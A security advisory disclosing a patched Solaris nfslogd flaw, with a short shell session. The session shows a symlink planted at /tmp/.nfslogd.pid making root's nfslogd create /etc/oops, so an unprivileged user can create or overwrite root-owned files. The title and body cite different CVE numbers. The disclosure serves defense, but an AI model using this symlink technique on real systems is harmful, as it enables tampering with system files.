CVE-2010-2382: Solaris nfslogd unsafe use of temporary files

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Below is the full disclosure information for CVE-2010-2383.  It was
reported to security-alert@sun.com on 29 December, 2009 and assigned Sun
bug 6913655.

This vulnerability was addressed by Sun/Oracle in the July 2010 Critical
Patch Update
(http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html).

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This one is with nfslogd which allows an unprivileged
user to create/overwrite a file as root:

Don't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/.nfslogd.pid
lrwxrwxrwx   1 nobody   nobody         9 Dec 29 21:24 /tmp/.nfslogd.pid
- -> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
- -rw-------   1 root     root           4 Dec 29 21:25 /etc/oops

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